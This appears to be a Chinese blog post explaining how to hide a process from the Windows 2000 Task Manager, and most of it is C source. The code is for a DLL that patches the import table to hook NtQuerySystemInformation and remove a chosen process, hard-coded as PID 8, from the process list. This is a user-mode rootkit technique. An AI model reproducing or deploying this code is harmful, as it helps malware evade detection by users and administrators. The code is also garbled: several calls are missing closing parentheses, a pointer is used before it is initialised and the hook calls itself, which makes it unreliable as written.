windows2000下简单的进程隐藏

windows2000下简单的进程隐藏

大家一看到这个题目,一定会说,这个也太简单了,用CreateRemoteThread不就行了吗,不过我这里并不讨论使用CreateRemoteThread的方法来实现,因为那样根本不是真正的隐藏。

最近看了篇PJF写的文章,他的方法的确很好,不用进入ring0,利用直接读写物理内存的方法修改系统进程双向链表,但是这种方法通用性不是很好,在XP下我试了试,我的朋友EA在用WINDBG调试的时候发现,好象其中KPCR中CurrentThread结构的偏移可能不同(我自己太懒了,没有看),所以需要直接修改程序,但是还有另外的方法,下面我给出一种最简单的方法,请看代码,如果看了我上一篇文章,这里会十分简单。

#define UNICODE
#include <windows.h>
#include "stdafx.h"
#include <imagehlp.h>

#pragma comment(lib,"imagehlp.lib"

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000

typedef LONG NTSTATUS;
typedef DWORD SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

NTSTATUS (__stdcall *pNTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;

typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;

typedef LONG KPRIORITY;

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;

typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;

typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;

typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;

typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON;


typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;

typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;


int HOOKAPI(void);


BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID lpvReserved)
{

    switch (reason)
{
case DLL_PROCESS_ATTACH:
/*调试信息,表示DLL已经加载*/
HOOKAPI();
MessageBox(NULL,"HOOKAPI","消息",MB_OK);
break;
case DLL_PROCESS_DETACH:
/*调试信息,表示DLL已经卸载*/
MessageBox(NULL,"DLL被卸载","消息",MB_OK);
break;
    }

    return TRUE;
}

int HOOKAPI(void)
{
HMODULE hModule;
HMODULE hInstance;
DWORD dwNtQuerySystemInformation;
DWORD dwSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PSTR pszModName;
PIMAGE_THUNK_DATA pThunk;
char debuginfo[50];

hInstance = GetModuleHandle(NULL); //得到进程基地址
wsprintf(debuginfo,"当前进程基地址:0x%x",hInstance);
MessageBox(NULL,debuginfo,"消息",MB_OK);
hModule = GetModuleHandle(TEXT("ntdll.dll");
dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
//得到NtQuerySystemInformation地址
wsprintf(debuginfo,"NtQuerySystemInformation Address:0x%x",dwNtQuerySystemInformation);
MessageBox(NULL,debuginfo,"消息",MB_OK);

pNTQUERYSYSTEMINFORMATION = NtQuerySystemInformation;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hInstance,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if(pImportDesc==NULL)
{
MessageBox(NULL,"不能得到import table地址","消息",MB_OK);
return 0;
}
while (pImportDesc->Name)
    { //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
        pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
        if (stricmp(pszModName,"ntdll.dll" == 0)
        {
break;  
}
        pImportDesc++;
    }

pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hInstance+pImportDesc->FirstThunk);
 while (pThunk->u1.Function)
    {
        PROC* ppfn = (PROC*) &pThunk->u1.Function;
        BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);

        if (bFound)
        {
            MEMORY_BASIC_INFORMATION mbi;
            VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
            VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);

//pThunk->u1.Function = (DWORD *)pHookCreateProcess;
pThunk->u1.Function = (DWORD *)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
            DWORD dwOldProtect;
            VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
            break;
        }
        pThunk++;
    }
 return 1;
}

NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL)
{
HMODULE hDll;
NTSTATUS NtStatus;
SYSTEM_PROCESSES *lpProcInfo,*lptmp,*lptmp1;
NTQUERYSYSTEMINFORMATION pQuerySystemInformation;

hDll = GetModuleHandle(TEXT("ntdll.dll");
if(hDll==NULL)
{
MessageBoxW(NULL,L"not load ntdll.dll",L"information",MB_OK);
return -1;
}
_try
{
pQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hDll,"NtQuerySystemInformation";
NtStatus = pQuerySystemInformation(SystemInformationClass,SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL);

if(NtStatus==STATUS_INFO_LENGTH_MISMATCH)
{
MessageBox(NULL,"STATUS_INFO_LENGTH_MISMATCH","Information",MB_OK);
_leave;
}
if(NtStatus!=STATUS_SUCCESS)
{
MessageBox(NULL,"NtQuerySystemInformation Failed","Information",MB_OK);
_leave;
}
if(SystemInformationClass!=5)
{
return NtStatus;
}
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
                                               //在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==8)
{
lptmp = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
//lpProcInfo->NextEntryDelta += lptmp->NextEntryDelta;
lptmp1->NextEntryDelta += lpProcInfo->NextEntryDelta;
//lpProcInfo->NextEntryDelta=0;
}
lptmp1 = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
_finally
{
FreeLibrary(hDll);
}
return NtStatus;
}

 

和我上一篇文章一样,挂钩windows任务管理器中的NtQuerySystemInformation这个函数,什么你问我这个函数是做什么用的,这个函数的功能很强大,是一个NATIVE API,在定义在NTDLL.DLL中,他的作用是查询系统的各种信息,象大家所熟知的Process32First等API,到最后还是要调用他来获取进程信息,关于这个函数的具体信息,请查阅相关文档,这里我们挂钩这个NATVIE API,修改这个函数的返回数据,从中删除我们要隐藏的进程单元,这样就可以简单的完成隐藏进程,不过这种方法的不足之处是,不使用任务管理器,使用其他软件就能查到被隐藏的进程,这点明显不入PJF的方法。
在各位高手面前献丑了,今天就写到这里吧

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值